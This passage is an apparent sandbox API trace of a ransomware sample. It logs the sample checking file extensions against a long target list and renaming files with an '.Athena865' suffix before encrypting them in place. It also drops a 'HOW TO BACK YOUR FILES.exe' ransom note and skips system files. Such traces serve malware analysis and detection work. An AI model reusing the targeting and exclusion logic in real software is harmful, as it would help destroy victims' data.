(lpString="cat") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="cat") returned -1 [0050.121] lstrlenW (lpString="cdb") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1 [0050.121] lstrlenW (lpString="ckp") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1 [0050.121] lstrlenW (lpString="cma") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="cma") returned -1 [0050.121] lstrlenW (lpString="cpd") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1 [0050.121] lstrlenW (lpString="dacpac") returned 6 [0050.121] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1 [0050.121] lstrlenW (lpString="dad") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="dad") returned -1 [0050.121] lstrlenW (lpString="dadiagrams") returned 10 [0050.121] lstrcmpiW (lpString1="ib.contact", lpString2="dadiagrams") returned 1 [0050.121] lstrlenW (lpString="daschema") returned 8 [0050.121] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1 [0050.121] lstrlenW (lpString="db-journal") returned 10 [0050.121] lstrcmpiW (lpString1="ib.contact", lpString2="db-journal") returned 1 [0050.121] lstrlenW (lpString="db-shm") returned 6 [0050.121] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1 [0050.121] lstrlenW (lpString="db-wal") returned 6 [0050.121] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1 [0050.121] lstrlenW (lpString="dbc") returned 3 [0050.122] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1 [0050.122] lstrlenW (lpString="dbs") returned 3 [0050.122] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1 [0050.122] lstrlenW (lpString="dbt") returned 3 [0050.122] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1 [0050.122] lstrlenW (lpString="dbv") returned 3 [0050.122] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1 [0050.122] lstrlenW (lpString="dbx") returned 3 [0050.122] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1 [0050.122] lstrlenW (lpString="dcb") returned 3 [0050.122] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1 [0050.122] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.Athena865") returned 87 [0050.122] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.athena865"), dwFlags=0x1) returned 1 [0050.123] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.123] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1172) returned 1 [0050.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.124] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.124] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.124] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.125] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x154 [0050.126] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000 [0050.128] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.128] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.128] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.129] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.129] CloseHandle (hObject=0x154) returned 1 [0050.129] CloseHandle (hObject=0x17c) returned 1 [0050.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.129] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0050.130] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0050.130] ReleaseMutex (hMutex=0xec) returned 1 [0050.130] CloseHandle (hObject=0xec) returned 1 [0050.130] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies" [0050.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ddf8 | out: hHeap=0x4f0000) returned 1 [0050.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c440 | out: hHeap=0x4f0000) returned 1 [0050.130] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies") returned 54 [0050.130] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E172267EE3F3A0AF50EDC5CBBB55A88A") returned 0xec [0050.130] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0050.130] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies" [0050.130] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0050.130] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.131] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0050.131] GetLastError () returned 0x0 [0050.131] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0050.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0050.131] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0050.132] CloseHandle (hObject=0xf4) returned 1 [0050.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0050.132] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0050.132] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0050.132] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.132] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.132] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0050.132] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.132] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.132] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.132] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0050.132] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0050.132] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c3625f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1c3625f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1c3625f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adobe[1].txt", cAlternateFileName="5P5NRG~1.TXT")) returned 1 [0050.132] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.132] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.132] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2=".") returned 1 [0050.132] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="..") returned 1 [0050.132] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="windows") returned -1 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="bootmgr") returned -1 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="temp") returned -1 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="pagefile.sys") returned -1 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="boot") returned -1 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="ids.txt") returned -1 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="ntuser.dat") returned -1 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="perflogs") returned -1 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="MSBuild") returned -1 [0050.133] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adobe[1].txt") returned 33 [0050.133] lstrcpyW (in: lpString1=0x241e8b6, lpString2="5p5nrgjn0js_halpmcxz@adobe[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt") returned="5p5nrgjn0js_halpmcxz@adobe[1].txt" [0050.133] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adobe[1].txt") returned 33 [0050.133] lstrlenW (lpString="Athena865") returned 9 [0050.133] lstrcmpiW (lpString1="be[1].txt", lpString2="Athena865") returned 1 [0050.133] lstrlenW (lpString=".dll") returned 4 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2=".dll") returned 1 [0050.133] lstrlenW (lpString=".lnk") returned 4 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2=".lnk") returned 1 [0050.133] lstrlenW (lpString=".ini") returned 4 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2=".ini") returned 1 [0050.133] lstrlenW (lpString=".sys") returned 4 [0050.133] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2=".sys") returned 1 [0050.133] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adobe[1].txt") returned 33 [0050.133] lstrlenW (lpString="bak") returned 3 [0050.133] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0050.133] lstrlenW (lpString="ba_") returned 3 [0050.133] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0050.133] lstrlenW (lpString="dbb") returned 3 [0050.133] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0050.133] lstrlenW (lpString="vmdk") returned 4 [0050.133] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0050.133] lstrlenW (lpString="rar") returned 3 [0050.133] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0050.133] lstrlenW (lpString="zip") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0050.134] lstrlenW (lpString="tgz") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0050.134] lstrlenW (lpString="vbox") returned 4 [0050.134] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0050.134] lstrlenW (lpString="vdi") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0050.134] lstrlenW (lpString="vhd") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0050.134] lstrlenW (lpString="vhdx") returned 4 [0050.134] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0050.134] lstrlenW (lpString="avhd") returned 4 [0050.134] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0050.134] lstrlenW (lpString="db") returned 2 [0050.134] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0050.134] lstrlenW (lpString="db2") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0050.134] lstrlenW (lpString="db3") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0050.134] lstrlenW (lpString="dbf") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0050.134] lstrlenW (lpString="mdf") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0050.134] lstrlenW (lpString="mdb") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0050.134] lstrlenW (lpString="sql") returned 3 [0050.134] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0050.134] lstrlenW (lpString="sqlite") returned 6 [0050.134] lstrcmpiW (lpString1="1].txt", lpString2="sqlite") returned -1 [0050.134] lstrlenW (lpString="sqlite3") returned 7 [0050.134] lstrcmpiW (lpString1="[1].txt", lpString2="sqlite3") returned -1 [0050.134] lstrlenW (lpString="sqlitedb") returned 8 [0050.135] lstrcmpiW (lpString1="e[1].txt", lpString2="sqlitedb") returned -1 [0050.135] lstrlenW (lpString="xml") returned 3 [0050.135] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0050.135] lstrlenW (lpString="$er") returned 3 [0050.135] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0050.135] lstrlenW (lpString="4dd") returned 3 [0050.135] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0050.135] lstrlenW (lpString="4dl") returned 3 [0050.135] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0050.135] lstrlenW (lpString="^^^") returned 3 [0050.135] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0050.135] lstrlenW (lpString="abs") returned 3 [0050.135] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0050.135] lstrlenW (lpString="abx") returned 3 [0050.135] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0050.135] lstrlenW (lpString="accdb") returned 5 [0050.135] lstrcmpiW (lpString1="].txt", lpString2="accdb") returned -1 [0050.135] lstrlenW (lpString="accdc") returned 5 [0050.135] lstrcmpiW (lpString1="].txt", lpString2="accdc") returned -1 [0050.135] lstrlenW (lpString="accde") returned 5 [0050.135] lstrcmpiW (lpString1="].txt", lpString2="accde") returned -1 [0050.135] lstrlenW (lpString="accdr") returned 5 [0050.135] lstrcmpiW (lpString1="].txt", lpString2="accdr") returned -1 [0050.135] lstrlenW (lpString="accdt") returned 5 [0050.135] lstrcmpiW (lpString1="].txt", lpString2="accdt") returned -1 [0050.135] lstrlenW (lpString="accdw") returned 5 [0050.135] lstrcmpiW (lpString1="].txt", lpString2="accdw") returned -1 [0050.135] lstrlenW (lpString="accft") returned 5 [0050.135] lstrcmpiW (lpString1="].txt", lpString2="accft") returned -1 [0050.135] lstrlenW (lpString="adb") returned 3 [0050.135] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0050.135] lstrlenW (lpString="adb") returned 3 [0050.135] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0050.135] lstrlenW (lpString="ade") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0050.136] lstrlenW (lpString="adf") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0050.136] lstrlenW (lpString="adn") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0050.136] lstrlenW (lpString="adp") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0050.136] lstrlenW (lpString="alf") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0050.136] lstrlenW (lpString="ask") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0050.136] lstrlenW (lpString="btr") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0050.136] lstrlenW (lpString="cat") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0050.136] lstrlenW (lpString="cdb") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0050.136] lstrlenW (lpString="ckp") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0050.136] lstrlenW (lpString="cma") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0050.136] lstrlenW (lpString="cpd") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0050.136] lstrlenW (lpString="dacpac") returned 6 [0050.136] lstrcmpiW (lpString1="1].txt", lpString2="dacpac") returned -1 [0050.136] lstrlenW (lpString="dad") returned 3 [0050.136] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0050.136] lstrlenW (lpString="dadiagrams") returned 10 [0050.136] lstrcmpiW (lpString1="obe[1].txt", lpString2="dadiagrams") returned 1 [0050.136] lstrlenW (lpString="daschema") returned 8 [0050.136] lstrcmpiW (lpString1="e[1].txt", lpString2="daschema") returned 1 [0050.136] lstrlenW (lpString="db-journal") returned 10 [0050.136] lstrcmpiW (lpString1="obe[1].txt", lpString2="db-journal") returned 1 [0050.136] lstrlenW (lpString="db-shm") returned 6 [0050.137] lstrcmpiW (lpString1="1].txt", lpString2="db-shm") returned -1 [0050.137] lstrlenW (lpString="db-wal") returned 6 [0050.137] lstrcmpiW (lpString1="1].txt", lpString2="db-wal") returned -1 [0050.137] lstrlenW (lpString="dbc") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0050.137] lstrlenW (lpString="dbs") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0050.137] lstrlenW (lpString="dbt") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0050.137] lstrlenW (lpString="dbv") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0050.137] lstrlenW (lpString="dbx") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0050.137] lstrlenW (lpString="dcb") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0050.137] lstrlenW (lpString="dct") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1 [0050.137] lstrlenW (lpString="dcx") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1 [0050.137] lstrlenW (lpString="ddl") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1 [0050.137] lstrlenW (lpString="dlis") returned 4 [0050.137] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1 [0050.137] lstrlenW (lpString="dp1") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1 [0050.137] lstrlenW (lpString="dqy") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1 [0050.137] lstrlenW (lpString="dsk") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1 [0050.137] lstrlenW (lpString="dsn") returned 3 [0050.137] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1 [0050.137] lstrlenW (lpString="dtsx") returned 4 [0050.137] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1 [0050.137] lstrlenW (lpString="dxl") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1 [0050.138] lstrlenW (lpString="eco") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1 [0050.138] lstrlenW (lpString="ecx") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1 [0050.138] lstrlenW (lpString="edb") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1 [0050.138] lstrlenW (lpString="epim") returned 4 [0050.138] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1 [0050.138] lstrlenW (lpString="fcd") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1 [0050.138] lstrlenW (lpString="fdb") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1 [0050.138] lstrlenW (lpString="fic") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1 [0050.138] lstrlenW (lpString="flexolibrary") returned 12 [0050.138] lstrcmpiW (lpString1="adobe[1].txt", lpString2="flexolibrary") returned -1 [0050.138] lstrlenW (lpString="fm5") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1 [0050.138] lstrlenW (lpString="fmp") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1 [0050.138] lstrlenW (lpString="fmp12") returned 5 [0050.138] lstrcmpiW (lpString1="].txt", lpString2="fmp12") returned -1 [0050.138] lstrlenW (lpString="fmpsl") returned 5 [0050.138] lstrcmpiW (lpString1="].txt", lpString2="fmpsl") returned -1 [0050.138] lstrlenW (lpString="fol") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1 [0050.138] lstrlenW (lpString="fp3") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1 [0050.138] lstrlenW (lpString="fp4") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1 [0050.138] lstrlenW (lpString="fp5") returned 3 [0050.138] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1 [0050.139] lstrlenW (lpString="fp7") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1 [0050.139] lstrlenW (lpString="fpt") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1 [0050.139] lstrlenW (lpString="frm") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1 [0050.139] lstrlenW (lpString="gdb") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0050.139] lstrlenW (lpString="gdb") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0050.139] lstrlenW (lpString="grdb") returned 4 [0050.139] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1 [0050.139] lstrlenW (lpString="gwi") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1 [0050.139] lstrlenW (lpString="hdb") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1 [0050.139] lstrlenW (lpString="his") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="his") returned 1 [0050.139] lstrlenW (lpString="ib") returned 2 [0050.139] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1 [0050.139] lstrlenW (lpString="idb") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1 [0050.139] lstrlenW (lpString="ihx") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1 [0050.139] lstrlenW (lpString="itdb") returned 4 [0050.139] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1 [0050.139] lstrlenW (lpString="itw") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1 [0050.139] lstrlenW (lpString="jet") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1 [0050.139] lstrlenW (lpString="jtx") returned 3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1 [0050.139] lstrlenW (lpString="kdb") returned 